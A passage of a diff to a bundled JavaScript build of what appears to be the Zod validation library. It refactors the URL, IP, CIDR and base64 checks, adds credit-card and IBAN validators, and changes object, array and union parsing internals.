url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -57248,7 +57648,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -57290,16 +57692,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -57313,30 +57717,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -57361,10 +57765,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -57377,17 +57781,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -57404,6 +57808,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -57454,22 +57923,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -57489,13 +57958,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57528,13 +57997,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57545,13 +58014,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57562,13 +58031,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57597,13 +58066,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57618,21 +58087,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -57641,21 +58135,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -57664,6 +58161,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -57671,16 +58170,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -57692,58 +58196,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -57755,28 +58276,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -57784,91 +58308,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject3 = isObject2; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -57877,41 +58417,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject3 = isObject2; @@ -57922,12 +58457,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57938,7 +58473,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -57965,17 +58500,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -58009,12 +58544,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -58027,7 +58566,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -58061,55 +58601,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -58120,8 +58688,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -58131,9 +58699,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ 